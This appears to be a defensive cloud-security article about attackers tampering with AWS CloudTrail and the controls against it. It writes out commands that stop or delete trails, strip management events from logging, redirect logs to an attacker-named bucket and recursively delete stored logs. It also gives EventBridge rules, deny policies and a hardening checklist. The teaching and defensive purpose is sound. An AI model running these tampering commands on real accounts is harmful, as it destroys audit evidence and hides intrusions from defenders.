CloudTrail Tampering: How Attackers Blind AWS Defenders and How to Stop Them

AWS CloudTrail is the foundational audit log for any AWS environment. Without it, incident responders cannot reconstruct what an attacker did, how they escalated privileges, or what data they accessed. That’s precisely why disabling or manipulating CloudTrail is a standard step in attacker playbooks once initial access is established. Understanding the tampering techniques — and the controls that prevent them — is essential for any AWS security programme.

The Attacker’s Goal

An attacker who has compromised an IAM identity with sufficient permissions has three objectives for CloudTrail:

Stop future logging — prevent their subsequent actions from being recorded
Delete or tamper with existing logs — remove evidence of the initial access and privilege escalation
Redirect logs — configure CloudTrail to write to an attacker-controlled S3 bucket, giving them visibility into defensive activity

All three are achievable with IAM permissions that are more common than they should be.

Tampering Techniques

1. StopLogging — The Simplest Attack

aws cloudtrail stop-logging --name arn:aws:cloudtrail:us-east-1:123456789:trail/management-trail

A single API call. If the attacker has cloudtrail:StopLogging on any role they’ve compromised, all subsequent API activity in that region goes unlogged until logging is re-enabled. GuardDuty detects this as Stealth:IAMUser/CloudTrailLoggingDisabled.

2. DeleteTrail — Permanent Removal

aws cloudtrail delete-trail --name management-trail

More aggressive. Requires cloudtrail:DeleteTrail. GuardDuty fires Stealth:IAMUser/CloudTrailLoggingDisabled here too, but by the time the alert fires the trail may already be gone.

3. PutEventSelectors — Surgical Exclusion

The subtler attack. Rather than stopping logging entirely, an attacker modifies the trail’s event selectors to exclude management events:

aws cloudtrail put-event-selectors \
  --trail-name management-trail \
  --event-selectors '[{
    "ReadWriteType": "WriteOnly",
    "IncludeManagementEvents": false,
    "DataResources": []
  }]'

IncludeManagementEvents: false means IAM changes, EC2 modifications, S3 bucket policy changes — the entire management plane — stop appearing in logs. Data-plane events continue logging, so the trail appears active. This is harder to detect without monitoring the trail configuration itself.

4. UpdateTrail — Redirecting to Attacker S3

aws cloudtrail update-trail \
  --name management-trail \
  --s3-bucket-name attacker-exfil-bucket-394729

Logs continue writing — but to an S3 bucket in an attacker-controlled account. The legitimate bucket stops receiving events. Defenders who check whether CloudTrail is “enabled” will see it running; they won’t notice logs are going somewhere else.

5. S3 Bucket Manipulation

Even if the trail itself is untouched, an attacker with S3 permissions on the CloudTrail bucket can delete logs directly:

aws s3 rm s3://my-cloudtrail-bucket/AWSLogs/ --recursive

Or modify the bucket policy to remove CloudTrail’s write permission, causing future events to fail silently.

Detection: GuardDuty Findings

GuardDuty covers the obvious cases:

Finding	Technique
`Stealth:IAMUser/CloudTrailLoggingDisabled`	StopLogging, DeleteTrail
`Stealth:IAMUser/LogAggregationDisabled`	Disabling Config/multi-region aggregation
`Stealth:S3/BucketPolicyModification`	S3 bucket policy tampering
`Discovery:IAMUser/CloudTrailLogging`	Attacker enumerating trail status

GuardDuty doesn’t cover PutEventSelectors manipulation or UpdateTrail redirection natively. For these you need explicit EventBridge rules.

EventBridge Rules for Trail Integrity

{
  "source": ["aws.cloudtrail"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventSource": ["cloudtrail.amazonaws.com"],
    "eventName": [
      "StopLogging",
      "DeleteTrail",
      "UpdateTrail",
      "PutEventSelectors",
      "RemoveTags",
      "CreateTrail"
    ]
  }
}

Route this to SNS with immediate alerting. Any modification to a trail configuration should trigger a human review within minutes.

For S3-level tampering, enable S3 Object-level logging on the CloudTrail bucket itself (via a separate trail — yes, you need a trail to monitor the trail):

aws cloudtrail put-event-selectors \
  --trail-name security-monitoring-trail \
  --event-selectors '[{
    "ReadWriteType": "All",
    "IncludeManagementEvents": true,
    "DataResources": [{
      "Type": "AWS::S3::Object",
      "Values": ["arn:aws:s3:::my-cloudtrail-bucket/"]
    }]
  }]'

Hardening: Service Control Policies

SCPs are the most reliable preventive control. Apply these at the root or security OU level:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyCloudTrailModification",
      "Effect": "Deny",
      "Action": [
        "cloudtrail:StopLogging",
        "cloudtrail:DeleteTrail",
        "cloudtrail:UpdateTrail",
        "cloudtrail:PutEventSelectors",
        "cloudtrail:PutInsightSelectors"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalArn": [
            "arn:aws:iam::123456789:role/SecurityAuditRole"
          ]
        }
      }
    },
    {
      "Sid": "DenyCloudTrailBucketDeletion",
      "Effect": "Deny",
      "Action": [
        "s3:DeleteBucket",
        "s3:DeleteObject",
        "s3:DeleteObjectVersion",
        "s3:PutBucketPolicy",
        "s3:DeleteBucketPolicy"
      ],
      "Resource": [
        "arn:aws:s3:::my-cloudtrail-bucket",
        "arn:aws:s3:::my-cloudtrail-bucket/*"
      ],
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalArn": "arn:aws:iam::123456789:role/SecurityAuditRole"
        }
      }
    }
  ]
}

CloudTrail Log Validation

Enable log file integrity validation when creating or updating a trail:

aws cloudtrail update-trail \
  --name management-trail \
  --enable-log-file-validation

This creates a signed digest file every hour in the S3 bucket. The digest chain lets you detect whether any log file was deleted or modified after delivery — essential for incident response to establish what evidence may have been tampered with.

Checklist

Organisation Trail enabled (multi-region, all account types)
Log file integrity validation enabled
CloudTrail S3 bucket in a dedicated security account with restricted cross-account access
SCP blocking trail modification for all non-security roles
EventBridge rules alerting on all CloudTrail management API calls
GuardDuty enabled in all regions including the trail’s home region
Separate monitoring trail logging data events on the CloudTrail bucket itself
S3 Object Lock enabled on CloudTrail bucket (WORM protection)